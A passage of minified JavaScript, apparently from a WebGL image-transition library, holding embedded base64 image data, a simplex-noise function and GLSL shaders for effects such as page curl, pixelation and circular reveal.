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",ot=.5*(Math.sqrt(3)-1),lt=(3-Math.sqrt(3))/6,ht=function(t){return 0|Math.floor(t)},ct=new Float64Array([1,1,-1,1,1,-1,-1,-1,1,0,-1,0,1,0,-1,0,0,1,0,-1,0,1,0,-1]);function ut(t){return t*(.5-Math.random())}function dt(t,e){return t+Math.random()*(e-t)}var ft=function(){var t=function(t){for(var e=512,i=new Uint8Array(e),n=0;n<e/2;n++)i[n]=n;for(var r=0;r<e/2-1;r++){var s=r+~~(t()*(256-r)),a=i[r];i[r]=i[s],i[s]=a}for(var o=256;o<e;o++)i[o]=i[o-256];return i}(arguments.length>0&&void 0!==arguments[0]?arguments[0]:Math.random),e=new Float64Array(t).map((function(t){return ct[t%12*2]})),i=new Float64Array(t).map((function(t){return ct[t%12*2+1]}));return function(n,r){var s,a,o=0,l=0,h=0,c=(n+r)*ot,u=ht(n+c),d=ht(r+c),f=(u+d)*lt,p=n-(u-f),m=r-(d-f);p>m?(s=1,a=0):(s=0,a=1);var g=p-s+lt,v=m-a+lt,y=p-1+2*lt,x=m-1+2*lt,w=255&u,A=255&d,M=.5-p*p-m*m;if(M>=0){var E=w+t[A];o=(M*=M)*M*(e[E]*p+i[E]*m)}var b=.5-g*g-v*v;if(b>=0){var k=w+s+t[A+a];l=(b*=b)*b*(e[k]*g+i[k]*v)}var U=.5-y*y-x*x;if(U>=0){var C=w+1+t[A+1];h=(U*=U)*U*(e[C]*y+i[C]*x)}return 70*(o+l+h)}}(Math.random);function pt(t){return Math.max(0,Math.min(1,t))}var mt="float PI = 3.141592653589793238;",gt="\nprecision highp float;\n\nuniform float time;\nuniform float progress;\nuniform sampler2D texture1;\nuniform sampler2D texture2;\nuniform vec4 resolution;\nvarying vec2 vUv;\n",vt="\nattribute vec3 position;\nattribute vec3 normal;\nattribute vec2 uv;\nattribute float offset;\nattribute vec3 bary;\n\nuniform mat4 modelViewMatrix;\nuniform mat4 projectionMatrix;\nuniform float progress;\nuniform vec4 resolution;\n\nvarying vec2 vUv;\nvarying float vProgress;\nvarying float vProgress1;\nvarying vec3 vBary;\n",yt="\nmat4 rotationMatrix(vec3 axis, float angle) {\n  axis = normalize(axis);\n  float s = sin(angle);\n  float c = cos(angle);\n  float oc = 1.0 - c;\n\n  return mat4(oc * axis.x * axis.x + c,           oc * axis.x * axis.y - axis.z * s,  oc * axis.z * axis.x + axis.y * s,  0.0,\n              oc * axis.x * axis.y + axis.z * s,  oc * axis.y * axis.y + c,           oc * axis.y * axis.z - axis.x * s,  0.0,\n              oc * axis.z * axis.x - axis.y * s,  oc * axis.y * axis.z + axis.x * s,  oc * axis.z * axis.z + c,           0.0,\n              0.0,                                0.0,                                0.0,                                1.0);\n}\nvec3 rotate(vec3 v, vec3 axis, float angle) {\n  mat4 m = rotationMatrix(axis, angle);\n  return (m * vec4(v, 1.0)).xyz;\n}\n",xt={uniforms:{intensity:{value:1,type:"f",min:0,max:3}},fragment:"\n  ".concat(gt,"\n  uniform float intensity;\n  uniform sampler2D displacement;\n  mat2 getRotM(float angle) {\n    float s = sin(angle);\n    float c = cos(angle);\n    return mat2(c, -s, s, c);\n  }\n  const float PI = 3.1415;\n  const float angle1 = PI *0.25;\n  const float angle2 = -PI *0.75;\n  void main()\t{\n    vec2 newUV = (vUv - vec2(0.5))*resolution.zw + vec2(0.5);\n    vec4 disp = texture2D(displacement, newUV);\n    vec2 dispVec = vec2(disp.r, disp.g);\n    vec2 distortedPosition1 = newUV + getRotM(angle1) * dispVec * intensity * progress;\n    vec4 t1 = texture2D(texture1, distortedPosition1);\n    vec2 distortedPosition2 = newUV + getRotM(angle2) * dispVec * intensity * (1.0 - progress);\n    vec4 t2 = texture2D(texture2, distortedPosition2);\n    gl_FragColor = mix(t1, t2, progress);\n  }\n")},wt={uniforms:{intensity:{value:.3,type:"f",min:0,max:2}},fragment:"\n  ".concat(gt,"\n  uniform float intensity;\n  uniform sampler2D displacement;\n  void main()\t{\n    vec2 newUV = (vUv - vec2(0.5))*resolution.zw + vec2(0.5);\n    vec4 d1 = texture2D(texture1, newUV);\n    vec4 d2 = texture2D(texture2, newUV);\n    float displace1 = (d1.r + d1.g + d1.b)*0.33;\n    float displace2 = (d2.r + d2.g + d2.b)*0.33;\n\n    vec4 t1 = texture2D(texture1, vec2(newUV.x, newUV.y + progress * (displace2 * intensity)));\n    vec4 t2 = texture2D(texture2, vec2(newUV.x, newUV.y + (1.0 - progress) * (displace1 * intensity)));\n    gl_FragColor = mix(t1, t2, progress);\n  }\n")},At={uniforms:{},fragment:"\n    ".concat(gt,"\n    const float MIN_AMOUNT = -0.16;\n    const float MAX_AMOUNT = 1.5;\n\n    const float PI = 3.141592653589793;\n\n    const float scale = 512.0;\n    const float sharpness = 3.0;\n\n    const float cylinderRadius = 1.0 / PI / 2.0;\n\n    vec4 getFromColor(vec2 p) {\n      return texture2D(texture1, p);\n    }\n\n    vec4 getToColor(vec2 p) {\n      return texture2D(texture2, p);\n    }\n\n    vec3 hitPoint(float hitAngle, float yc, vec3 point, mat3 rrotation) {\n      float hitPoint = hitAngle / (2.0 * PI);\n      point.y = hitPoint;\n      return rrotation * point;\n    }\n\n    vec4 antiAlias(vec4 color1, vec4 color2, float distanc) {\n      distanc *= scale;\n      if(distanc < 0.0)\n        return color2;\n      if(distanc > 2.0)\n        return color1;\n      float dd = pow(1.0 - distanc / 2.0, sharpness);\n      return ((color2 - color1) * dd) + color1;\n    }\n\n    float distanceToEdge(vec3 point) {\n      float dx = abs(point.x > 0.5 ? 1.0 - point.x : point.x);\n      float dy = abs(point.y > 0.5 ? 1.0 - point.y : point.y);\n      if(point.x < 0.0)\n        dx = -point.x;\n      if(point.x > 1.0)\n        dx = point.x - 1.0;\n      if(point.y < 0.0)\n        dy = -point.y;\n      if(point.y > 1.0)\n        dy = point.y - 1.0;\n      if((point.x < 0.0 || point.x > 1.0) && (point.y < 0.0 || point.y > 1.0))\n        return sqrt(dx * dx + dy * dy);\n      return min(dx, dy);\n    }\n\n    vec4 seeThrough(float yc, vec2 p, mat3 rotation, mat3 rrotation, float cylinderAngle) {\n      float hitAngle = PI - (acos(yc / cylinderRadius) - cylinderAngle);\n      vec3 point = hitPoint(hitAngle, yc, rotation * vec3(p, 1.0), rrotation);\n      if(yc <= 0.0 && (point.x < 0.0 || point.y < 0.0 || point.x > 1.0 || point.y > 1.0)) {\n        return getToColor(p);\n      }\n\n      if(yc > 0.0)\n        return getFromColor(p);\n\n      vec4 color = getFromColor(point.xy);\n      vec4 tcolor = vec4(0.0);\n\n      return antiAlias(color, tcolor, distanceToEdge(point));\n    }\n\n    vec4 seeThroughWithShadow(float yc, vec2 p, vec3 point, mat3 rotation, mat3 rrotation, float cylinderAngle, float amount) {\n      float shadow = distanceToEdge(point) * 30.0;\n      shadow = (1.0 - shadow) / 3.0;\n\n      if(shadow < 0.0)\n        shadow = 0.0;\n      else\n        shadow *= amount;\n\n      vec4 shadowColor = seeThrough(yc, p, rotation, rrotation, cylinderAngle);\n      shadowColor.r -= shadow;\n      shadowColor.g -= shadow;\n      shadowColor.b -= shadow;\n\n      return shadowColor;\n    }\n\n    vec4 backside(float yc, vec3 point) {\n      vec4 color = getFromColor(point.xy);\n      float gray = (color.r + color.b + color.g) / 15.0;\n      gray += (8.0 / 10.0) * (pow(1.0 - abs(yc / cylinderRadius), 2.0 / 10.0) / 2.0 + (5.0 / 10.0));\n      color.rgb = vec3(gray);\n      return color;\n    }\n\n    vec4 behindSurface(vec2 p, float yc, vec3 point, mat3 rrotation, float cylinderAngle, float amount) {\n      float shado = (1.0 - ((-cylinderRadius - yc) / amount * 7.0)) / 6.0;\n      shado *= 1.0 - abs(point.x - 0.5);\n\n      yc = (-cylinderRadius - cylinderRadius - yc);\n\n      float hitAngle = (acos(yc / cylinderRadius) + cylinderAngle) - PI;\n      point = hitPoint(hitAngle, yc, point, rrotation);\n\n      if(yc < 0.0 && point.x >= 0.0 && point.y >= 0.0 && point.x <= 1.0 && point.y <= 1.0 && (hitAngle < PI || amount > 0.5)) {\n        shado = 1.0 - (sqrt(pow(point.x - 0.5, 2.0) + pow(point.y - 0.5, 2.0)) / (71.0 / 100.0));\n        shado *= pow(-yc / cylinderRadius, 3.0);\n        shado *= 0.5;\n      } else {\n        shado = 0.0;\n      }\n      return vec4(getToColor(p).rgb - shado, 1.0);\n    }\n\n    void main() {\n      vec2 newUV = (vUv - vec2(0.5)) * resolution.zw + vec2(0.5);\n\n      float amount = progress * (MAX_AMOUNT - MIN_AMOUNT) + MIN_AMOUNT;\n      float cylinderCenter = amount;\n          // 360 degrees * amount\n      float cylinderAngle = 2.0 * PI * amount;\n\n      const float angle = 100.0 * PI / 180.0;\n      float c = cos(-angle);\n      float s = sin(-angle);\n\n      mat3 rotation = mat3(c, s, 0, -s, c, 0, -0.801, 0.8900, 1);\n      c = cos(angle);\n      s = sin(angle);\n\n      mat3 rrotation = mat3(c, s, 0, -s, c, 0, 0.98500, 0.985, 1);\n\n      vec3 point = rotation * vec3(newUV, 1.0);\n\n      float yc = point.y - cylinderCenter;\n\n      if(yc < -cylinderRadius) {\n                        // Behind surface\n        gl_FragColor = behindSurface(newUV, yc, point, rrotation, cylinderAngle, amount);\n        return;\n      }\n\n      if(yc > cylinderRadius) {\n                        // Flat surface\n        gl_FragColor = getFromColor(newUV);\n        return;\n      }\n\n      float hitAngle = (acos(yc / cylinderRadius) + cylinderAngle) - PI;\n\n      float hitAngleMod = mod(hitAngle, 2.0 * PI);\n      if((hitAngleMod > PI && amount < 0.5) || (hitAngleMod > PI / 2.0 && amount < 0.0)) {\n        gl_FragColor = seeThrough(yc, newUV, rotation, rrotation, cylinderAngle);\n        return;\n      }\n\n      point = hitPoint(hitAngle, yc, point, rrotation);\n\n      if(point.x < 0.0 || point.y < 0.0 || point.x > 1.0 || point.y > 1.0) {\n        gl_FragColor = seeThroughWithShadow(yc, newUV, point, rotation, rrotation, cylinderAngle, amount);\n        return;\n      }\n\n      vec4 color = backside(yc, point);\n\n      vec4 otherColor;\n      if(yc < 0.0) {\n        float shado = 1.0 - (sqrt(pow(point.x - 0.5, 2.0) + pow(point.y - 0.5, 2.0)) / 0.71);\n        shado *= pow(-yc / cylinderRadius, 3.0);\n        shado *= 0.5;\n        otherColor = vec4(0.0, 0.0, 0.0, shado);\n      } else {\n        otherColor = getFromColor(newUV);\n      }\n\n      color = antiAlias(color, otherColor, cylinderRadius - abs(yc));\n\n      vec4 cl = seeThroughWithShadow(yc, newUV, point, rotation, rrotation, cylinderAngle, amount);\n      float dist = distanceToEdge(point);\n\n      gl_FragColor = antiAlias(color, cl, dist);\n    }\n  ")},Mt={uniforms:{},fragment:"\n    ".concat(gt,"\n    void main()\t{\n      vec2 newUV = (vUv - vec2(0.5))*resolution.zw + vec2(0.5);\n      vec2 p = newUV;\n      float x = progress;\n      x = smoothstep(.0,1.0,(x*2.0+p.x-1.0));\n      vec4 f = mix(\n        texture2D(texture1, (p-.5)*(1.-x)+.5),\n        texture2D(texture2, (p-.5)*x+.5),\n        x);\n      gl_FragColor = f;\n    }\n  ")},Et={uniforms:{},fragment:"\n    ".concat(gt,"\n    void main()\t{\n      vec2 newUV = (vUv - vec2(0.5))*resolution.zw + vec2(0.5);\n      vec2 p = newUV;\n      float x = progress;\n      x = smoothstep(.0,1.0,(x*2.0+p.y-1.0));\n      vec4 f = mix(\n        texture2D(texture1, (p-.5)*(1.-x)+.5),\n        texture2D(texture2, (p-.5)*x+.5),\n        x);\n      gl_FragColor = f;\n    }\n  ")},bt={uniforms:{},fragment:"\n    ".concat(gt,"\n    ivec2 squaresMin = ivec2(50);\n    int steps = 20;\n\n    void main()\t{\n      vec2 newUV = (vUv - vec2(0.5))*resolution.zw + vec2(0.5);\n\n      float d = min(progress, 1.0 - progress);\n      float dist = steps>0 ? ceil(d * float(steps)) / float(steps) : d;\n      vec2 squareSize = 2.0 * dist / vec2(squaresMin);\n\n      vec2 p = dist>0.0 ? (floor(newUV / squareSize) + 0.5) * squareSize : newUV;\n\n      vec2 uv1 = newUV;\n      vec2 uv2 = newUV;\n\n      vec4 t1 = texture2D(texture1,p);\n      vec4 t2 = texture2D(texture2,p);\n\n      gl_FragColor = mix(t1, t2, progress);\n    }\n  ")},kt={uniforms:{},detail:12,offsetTop:0,vertex:"\n    ".concat(vt,"\n    attribute vec3 centroid1;\n\n    ").concat(yt,"\n\n    void main() {\n      ").concat(mt,"\n      vUv = uv;\n      vBary = bary;\n\n      vec3 newpos = position;\n\n      float o = 1. - offset;\n      float pr = (progress - 0.5) * (0. + resolution.y / resolution.x) + 0.5;\n      pr = progress;\n      float prog = clamp((pr - o * 0.9) / 0.1, 0., 1.);\n      vProgress = prog;\n      vProgress1 = clamp((pr - clamp(o - 0.1, 0., 1.) * 0.9) / 0.1, 0., 1.);\n      newpos = rotate((newpos - centroid1), vec3(1., 0., 0.), -prog * PI) + centroid1 + vec3(0., -1., 0.) * prog * 0.;\n      gl_Position = projectionMatrix * modelViewMatrix * vec4(newpos, 1.0);\n    }\n  "),fragment:"\n    ".concat(gt,"\n    varying float vProgress;\n    varying float vProgress1;\n    ").concat(mt,"\n    varying vec3 vBary;\n\n    void main()\t{\n      float width = 2.5 * vProgress1;\n      vec3 d;\n      #ifdef GL_OES_standard_derivatives\n        d = fwidth(vBary);\n      #endif\n      vec3 s = smoothstep(d * (width + 0.5), d * (width - 0.5), vBary);\n      float alpha = max(max(s.x, s.y), s.z);\n      vec3 color = vec3(alpha);\n      vec2 newUV = (vUv - vec2(0.5)) * resolution.zw + vec2(0.5);\n      vec4 t = texture2D(texture1, newUV);\n      float opa = smoothstep(1., 0.5, vProgress);\n      opa = 1. - vProgress;\n      gl_FragColor = vec4(vUv, 0.0, opa);\n      gl_FragColor = vec4(t.rgb + .5 * color * vProgress1, opa);\n    }\n  ")},Ut={uniforms:{},detail:20,offsetTop:.4,vertex:"\n    ".concat(vt,"\n    ").concat(yt,"\n\n    void main() {\n      ").concat(mt,"\n      vUv = uv;\n      vBary = bary;\n\n      vec3 newpos = position;\n\n      float o = 1. - offset;\n      float prog = clamp((progress - o * 0.6) / 0.4, 0., 1.);\n      vProgress = prog;\n      vProgress1 = clamp((progress - clamp(o - 0.1, -0., 1.) * 0.9) / 0.1, 0., 1.);\n      gl_Position = projectionMatrix * modelViewMatrix * vec4(newpos, 1.0);\n    }\n  "),fragment:"\n    ".concat(gt,"\n    varying float vProgress;\n    varying float vProgress1;\n    ").concat(mt,"\n    varying vec3 vBary;\n    void main()\t{\n      float width = 2.5 * vProgress1;\n      vec3 d;\n      #ifdef GL_OES_standard_derivatives\n        d = fwidth(vBary);\n      #endif\n      vec3 s = smoothstep(d * (width + 0.5), d * (width - 0.5), vBary);\n      float alpha = max(max(s.x, s.y), s.z);\n      vec3 color = vec3(alpha);\n\n      vec2 newUV = (vUv - vec2(0.5)) * resolution.zw + vec2(0.5);\n      vec4 t = texture2D(texture1, newUV);\n      float opa = smoothstep(1., 0.5, vProgress);\n      opa = 1. - vProgress;\n      gl_FragColor = vec4(t.rgb + 1. * color * vProgress1, opa);\n    }\n  ")},Ct={uniforms:{},detail:40,offsetTop:1,vertex:"\n    ".concat(vt,"\n    attribute vec3 control0;\n    attribute vec3 control1;\n\n    ").concat(yt,"\n\n    float easeOut(float t){\n      return  t * t * t;\n    }\n\n    vec3 bezier4(vec3 a, vec3 b, vec3 c, vec3 d, float t) {\n      return mix(mix(mix(a, b, t), mix(b, c, t), t), mix(mix(b, c, t), mix(c, d, t), t), t);\n    }\n\n    void main() {\n      ").concat(mt,"\n      vUv = uv;\n      vBary = bary;\n\n      vec3 newpos = position;\n\n      float o = 1. - offset;\n      float prog = clamp((progress - o * 0.6) / 0.4, 0., 1.);\n      vProgress = prog;\n      vProgress1 = clamp((progress - clamp(o - 0.2, -0., 1.) * 0.6) / 0.4, 0., 1.);\n      newpos = bezier4(newpos, control0, control1, newpos, easeOut(prog));\n      gl_Position = projectionMatrix * modelViewMatrix * vec4(newpos, 1.0);\n    }\n  "),fragment:"\n    ".concat(gt,"\n    varying float vProgress;\n    varying float vProgress1;\n    ").concat(mt,"\n    varying vec3 vBary;\n    void main()\t{\n      float width = 2.5 * vProgress1;\n      vec3 d;\n      #ifdef GL_OES_standard_derivatives\n        d = fwidth(vBary);\n      #endif\n      vec3 s = smoothstep(d * (width + 0.5), d * (width - 0.5), vBary);\n      float alpha = max(max(s.x, s.y), s.z);\n      vec3 color = vec3(alpha);\n\n      vec2 newUV = (vUv - vec2(0.5)) * resolution.zw + vec2(0.5);\n      vec4 t = texture2D(texture1, newUV);\n      float opa = smoothstep(1., 0.5, vProgress);\n      opa = 1. - vProgress;\n      gl_FragColor = vec4(vUv, 0.0, opa);\n      opa = smoothstep(0.5, 1., opa);\n      gl_FragColor = vec4(t.rgb + 1. * color * vProgress1, opa);\n    }\n  ")},St={uniforms:{radius:{value:.9,type:"f",min:.1,max:2},width:{value:.35,type:"f",min:0,max:1}},fragment:"\n    ".concat(gt,"\n    uniform float width;\n    uniform float radius;\n    uniform sampler2D displacement;\n    float parabola( float x, float k ) {\n      return pow( 4. * x * ( 1. - x ), k );\n    }\n    void main()\t{\n      vec2 newUV = (vUv - vec2(0.5))*resolution.zw + vec2(0.5);\n      vec2 p = newUV;\n      vec2 start = vec2(0.5,0.5);\n      vec2 aspect = resolution.wz;\n      vec2 uv = newUV;\n      float dt = parabola(progress, 1.);\n      vec4 noise = texture2D(displacement, fract(vUv+time*0.04));\n      float prog = progress*0.66 + noise.g * 0.04;\n      float circ = 1. - smoothstep(-width, 0.0, radius * distance(start*aspect, uv*aspect) - prog*(1.+width));\n      float intpl = pow(abs(circ), 1.);\n      vec4 t1 = texture2D( texture1, (uv - 0.5) * (1.0 - intpl) + 0.5 ) ;\n      vec4 t2 = texture2D( texture2, (uv - 0.5) * intpl + 0.5 );\n      gl_FragColor = mix( t1, t2, intpl );\n    }\n  ")},Ft={uniforms:{intensity:{value:50,type:"f",min:1,max:100}},fragment:"\n    ".concat(gt,"\n    uniform float intensity;\n    mat2 rotate(float a) {\n      float s = sin(a);\n      float c = cos(a);\n      return mat2(c, -s, s, c);\n    }\n    const float PI = 3.1415;\n    const float angle1 = PI *0.25;\n    const float angle2 = PI *0.25;\n\n    void main()\t{\n      vec2 newUV = (vUv - vec2(0.5))*resolution.zw + vec2(0.5);\n\n      vec2 uvDivided = fract(newUV*vec2(intensity,1.));\n\n      vec2 uvDisplaced1 = newUV + rotate(angle1)*uvDivided*progress*0.1;\n      vec2 uvDisplaced2 = newUV + rotate(angle2)*uvDivided*(1. - progress)*0.1;\n\n      vec4 t1 = texture2D(texture1,uvDisplaced1);\n      vec4 t2 = texture2D(texture2,uvDisplaced2);\n\n      gl_FragColor = mix(t1, t2, progress);\n    }\n\n  ")},Tt={uniforms:{size:{value:.25,type:"f",min:.1,max:1}},fragment:"\n    ".concat(gt,"\n    uniform float size; // = 0.2\n    float count = 20.; // = 10.0\n    float smoothness = .5; // = 0.5\n    void main()\t{\n      vec2 newUV = (vUv - vec2(0.5))*resolution.zw + vec2(0.5);\n\n      float pr = smoothstep(-smoothness, 0.0, newUV.x - progress * (1.0 + smoothness));\n      float s = step(pr, fract(count * newUV.x));\n\n      vec2 uv1 = newUV;\n      vec2 uv2 = newUV;\n\n      vec4 t1 = texture2D(texture1,uv1);\n      vec4 t2 = texture2D(texture2,uv2);\n      gl_FragColor = mix(t1, t2, s);\n\n    }\n  ")},Rt={uniforms:{},fragment:"\n    ".concat(gt,"\n    ivec2 squares = ivec2(10,10);\n    vec2 direction = vec2(1.0, -0.5);\n    float smoothness = 1.6;\n\n    const vec2 center = vec2(0.5, 0.5);\n    void main() {\n      vec2 newUV = (vUv - vec2(0.5))*resolution.zw + vec2(0.5);\n\n      vec2 v = normalize(direction);\n      v /= abs(v.x)+abs(v.y);\n      float d = v.x * center.x + v.y * center.y;\n      float offset = smoothness;\n      float pr = smoothstep(-offset, 0.0, v.x * newUV.x + v.y * newUV.y - (d-0.5+progress*(1.+offset)));\n      vec2 squarep = fract(newUV*vec2(squares));\n      vec2 squaremin = vec2(pr/2.0);\n      vec2 squaremax = vec2(1.0 - pr/2.0);\n      float a = (1.0 - step(progress, 0.0)) * step(squaremin.x, squarep.x) * step(squaremin.y, squarep.y) * step(squarep.x, squaremax.x) * step(squarep.y, squaremax.y);\n\n      vec2 uv1 = newUV;\n      vec2 uv2 = newUV;\n\n      vec4 t1 = texture2D(texture1,newUV);\n      vec4 t2 = texture2D(texture2,newUV);\n\n      gl_FragColor = mix(t1, t2, a);\n    }\n  ")},It={uniforms:{intensity:{value:50,type:"f",min:1,max:100}},fragment:"\n    ".concat(gt,"\n    uniform float intensity;\n    mat2 rotate(float a) {\n      float s = sin(a);\n      float c = cos(a);\n      return mat2(c, -s, s, c);\n    }\n    const float PI = 3.1415;\n    const float angle1 = PI *0.25;\n    const float angle2 = -PI *0.75;\n    const float noiseSeed = 2.;\n    float random() {\n      return fract(sin(noiseSeed + dot(gl_FragCoord.xy / resolution.xy / 10.0, vec2(12.9898, 4.1414))) * 43758.5453);\n    }\n    float hash(float n) { return fract(sin(n) * 1e4); }\n    float hash(vec2 p) { return fract(1e4 * sin(17.0 * p.x + p.y * 0.1) * (0.1 + abs(sin(p.y * 13.0 + p.x)))); }\n    float hnoise(vec2 x) {\n      vec2 i = floor(x);\n      vec2 f = fract(x);\n      float a = hash(i);\n      float b = hash(i + vec2(1.0, 0.0));\n      float c = 